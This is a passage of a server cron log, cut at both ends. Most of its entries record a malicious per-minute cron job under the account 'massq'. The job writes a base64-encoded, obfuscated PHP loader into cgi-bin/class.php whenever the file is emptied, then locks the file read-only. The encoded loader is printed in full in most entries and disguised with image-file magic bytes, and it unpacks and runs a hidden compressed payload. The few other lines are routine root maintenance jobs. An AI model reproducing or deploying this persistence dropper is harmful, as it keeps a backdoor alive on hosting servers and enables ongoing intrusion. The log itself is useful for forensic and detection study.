U0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:36:01 server CROND[1389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:37:01 server CROND[1452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:38:01 server CROND[1518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:39:01 server CROND[1574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:39:01 server CROND[1575]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 01:40:01 server CROND[1623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 01:40:01 server CROND[1624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:40:01 server CROND[1625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:40:01 server CROND[1626]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:41:01 server CROND[1734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:42:01 server CROND[1883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:42:01 server CROND[1884]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 01:43:01 server CROND[1945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:44:01 server CROND[2004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:45:01 server CROND[2077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:45:01 server CROND[2079]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:45:01 server CROND[2078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:46:01 server CROND[2196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:47:01 server CROND[2361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:48:01 server CROND[2420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:49:01 server CROND[2492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5U